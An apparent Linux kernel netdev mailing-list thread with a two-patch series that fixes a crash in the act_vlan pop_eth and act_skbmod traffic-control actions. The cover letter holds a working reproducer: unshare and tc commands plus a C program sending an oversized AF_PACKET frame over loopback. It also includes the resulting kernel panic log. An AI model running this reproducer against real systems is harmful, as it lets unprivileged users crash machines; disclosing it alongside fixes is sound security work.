* [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback
@ 2026-07-23 17:54 Ren Wei
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
0 siblings, 2 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
To: netdev
Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
gnault, vega, bronzed_45_vested, enjou1224z
From: Wyatt Feng <bronzed_45_vested@icloud.com>
Hi Linux kernel maintainers,
We found an issue in net/sched/act_vlan.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.
---- details below ----
Bug details:
The bug is in `tcf_vlan_act()` when handling `TCA_VLAN_ACT_POP_ETH`.
The action is applied without checking that the skb is on an Ethernet
device. On loopback and other non-Ethernet devices, `skb_eth_pop()`
removes `ETH_HLEN` bytes from the skb head even though the later TX path
still expects an Ethernet header.
When such a packet is transmitted through `lo`, `loopback_xmit()` calls
`eth_type_trans()`, which unconditionally pulls another `ETH_HLEN`
bytes. For a large non-linear AF_PACKET skb whose linear head contains
only the original Ethernet header, the first pull leaves
`skb_headlen(skb) == 0`. The second pull then reaches `__skb_pull()`
with `skb->len < skb->data_len` and triggers a kernel BUG, crashing the
guest.
This is a short-packet handling bug caused by applying an Ethernet-only
transform to a non-Ethernet skb.
Reproducer:
PATH=/usr/sbin:/usr/bin:/sbin:/bin gcc -O2 -Wall -x c -o mini_poc.bin mini_poc
PATH=/usr/sbin:/usr/bin:/sbin:/bin unshare -Urn sh -euxc '
ip link set lo up
trap "tc qdisc del dev lo clsact 2>/dev/null || true" EXIT
tc qdisc add dev lo clsact
tc filter add dev lo egress pref 1 protocol all flower \
action vlan pop_eth \
action skbmod dmac 02:11:22:33:44:55 pipe
./mini_poc.bin
'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(void)
{
struct sockaddr_ll sll;
unsigned char *frame;
size_t len = ETH_HLEN + 8192;
int fd;
frame = malloc(len);
if (!frame) {
perror("malloc");
return 1;
}
memset(frame, 'A', len);
frame[0] = 0xaa;
frame[1] = 0xbb;
frame[2] = 0xcc;
frame[3] = 0xdd;
frame[4] = 0xee;
frame[5] = 0xff;
frame[6] = 0x11;
frame[7] = 0x22;
frame[8] = 0x33;
frame[9] = 0x44;
frame[10] = 0x55;
frame[11] = 0x66;
frame[12] = 0x08;
frame[13] = 0x00;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (fd < 0) {
perror("socket");
return 1;
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_IP);
sll.sll_ifindex = if_nametoindex("lo");
if (!sll.sll_ifindex) {
perror("if_nametoindex");
return 1;
}
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
perror("bind");
return 1;
}
if (send(fd, frame, len, 0) < 0) {
perror("send");
return 1;
}
close(fd);
free(frame);
return 0;
}
------END PoC--------
----BEGIN crash log----
[ 138.618799][ T9361] __skb_pull(len=14)
[ 138.619387][ T9361] skb len=8192 data_len=8192 headroom=16 headlen=0 tailroom=0
[ 138.619387][ T9361] end-tail=368 mac=(16,0) mac_len=0 net=(16,-1) trans=-1
[ 138.619387][ T9361] shinfo(txflags=0 nr_frags=1 gso(size=0 type=0 segs=0))
[ 138.625465][ T9361] dev name=lo feat=0x0000052e401d4c69
[ 138.646157][ T9361] ------------[ cut here ]------------
[ 138.646805][ T9361] kernel BUG at include/linux/skbuff.h:2847!
[ 138.647529][ T9361] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 138.648307][ T9361] CPU: 1 UID: 1001 PID: 9361 Comm: mini_poc.bin Not tainted 7.1.0-13910-g6c00e85cd46f #1 PREEMPT(full)
[ 138.650828][ T9361] RIP: 0010:eth_type_trans.cold+0x2c/0x30
[ 138.662853][ T9361] <TASK>
[ 138.663655][ T9361] loopback_xmit+0x21b/0x6e0
[ 138.672320][ T9361] packet_xmit+0x243/0x310
[ 138.672878][ T9361] packet_sendmsg+0x319a/0x5100
[ 138.680374][ T9361] __x64_sys_sendto+0xe0/0x1c0
[ 138.707494][ T9361] Kernel panic - not syncing: Fatal exception in interrupt
-----END crash log-----
Best regards,
Wyatt Feng
Changes since v1:
Link: https://lore.kernel.org/r/3ab4a04fbab887238facc1792e02c33fd68190f7.1782548651.git.bronzed_45_vested@icloud.com
Link: https://lore.kernel.org/r/40fe2d7dfce13411bfbe9271c0f7c54fb7e88e3b.1782548651.git.bronzed_45_vested@icloud.com
- Kept the actual code changes unchanged from the previous version.
- Reworded both commit messages to more clearly describe the failure
mode and the exact header-length checks.
- Consolidated the Reported-by tags to Vega <vega@nebusec.ai>.
Wyatt Feng (2):
net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
net/sched: act_vlan: skip pop_eth on non-Ethernet devices
net/sched/act_skbmod.c | 9 +++++++--
net/sched/act_vlan.c | 4 ++++
2 files changed, 11 insertions(+), 2 deletions(-)
--
2.47.3
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
@ 2026-07-23 17:54 ` Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
1 sibling, 0 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
To: netdev
Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
gnault, vega, bronzed_45_vested, enjou1224z
From: Wyatt Feng <bronzed_45_vested@icloud.com>
tcf_skbmod_act() rewrites DMAC, SMAC, ETYPE and SWAPMAC through
eth_hdr(skb), but it derives the writable length from
skb_mac_header_len(skb). After a prior action strips or shortens the
L2 header, skbmod can still attempt the Ethernet rewrite without a
full Ethernet header being present.
Reject non-ECN skbmod rewrites unless the skb is on an Ethernet
device, the MAC header is set, and the MAC header length is at least
ETH_HLEN. Also use ETH_HLEN as the writable length for these rewrites,
which matches the bytes actually modified.
This fixes a buffer-size length miscalculation that can corrupt
short or non-linear packets.
Fixes: 56af5e749f20 ("net/sched: act_skbmod: Add SKBMOD_F_ECN option support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/sched/act_skbmod.c | 9 +++++++--
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/net/sched/act_skbmod.c b/net/sched/act_skbmod.c
index a464b0a3c1b8..30c2eac17aff 100644
--- a/net/sched/act_skbmod.c
+++ b/net/sched/act_skbmod.c
@@ -38,7 +38,6 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
if (unlikely(p->action == TC_ACT_SHOT))
goto drop;
- max_edit_len = skb_mac_header_len(skb);
flags = p->flags;
/* tcf_skbmod_init() guarantees "flags" to be one of the following:
@@ -49,6 +48,8 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
* packets.
*/
if (flags == SKBMOD_F_ECN) {
+ max_edit_len = skb_mac_header_len(skb);
+
switch (skb_protocol(skb, true)) {
case cpu_to_be16(ETH_P_IP):
case cpu_to_be16(ETH_P_IPV6):
@@ -57,8 +58,12 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
default:
goto out;
}
- } else if (!skb->dev || skb->dev->type != ARPHRD_ETHER) {
+ } else if (!skb->dev || skb->dev->type != ARPHRD_ETHER ||
+ !skb_mac_header_was_set(skb) ||
+ skb_mac_header_len(skb) < ETH_HLEN) {
goto out;
+ } else {
+ max_edit_len = ETH_HLEN;
}
err = skb_ensure_writable(skb, max_edit_len);
--
2.47.3
^ permalink raw reply related [flat|nested] 3+ messages in thread* [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices
2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
@ 2026-07-23 17:54 ` Ren Wei
1 sibling, 0 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
To: netdev
Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
gnault, vega, bronzed_45_vested, enjou1224z
From: Wyatt Feng <bronzed_45_vested@icloud.com>
tcf_vlan_act() currently applies TCA_VLAN_ACT_POP_ETH on any device
type. On loopback and other non-Ethernet devices, this can strip
ETH_HLEN bytes that later paths still expect to be an Ethernet header.
Treat POP_ETH as an Ethernet-only action and leave non-Ethernet
packets unchanged.
This fixes a short-packet handling bug that can trigger a BUG in
__skb_pull().
Fixes: 19fbcb36a39e ("net/sched: act_vlan: Add {POP,PUSH}_ETH actions")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/sched/act_vlan.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/sched/act_vlan.c b/net/sched/act_vlan.c
index 6a375fdc63dd..b77f649ae204 100644
--- a/net/sched/act_vlan.c
+++ b/net/sched/act_vlan.c
@@ -4,6 +4,7 @@
*/
#include <linux/module.h>
+#include <linux/if_arp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
@@ -76,6 +77,9 @@ TC_INDIRECT_SCOPE int tcf_vlan_act(struct sk_buff *skb,
__vlan_hwaccel_put_tag(skb, p->tcfv_push_proto, tci);
break;
case TCA_VLAN_ACT_POP_ETH:
+ if (!skb->dev || skb->dev->type != ARPHRD_ETHER)
+ goto out;
+
err = skb_eth_pop(skb);
if (err)
goto drop;
--
2.47.3
^ permalink raw reply related [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-23 17:55 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox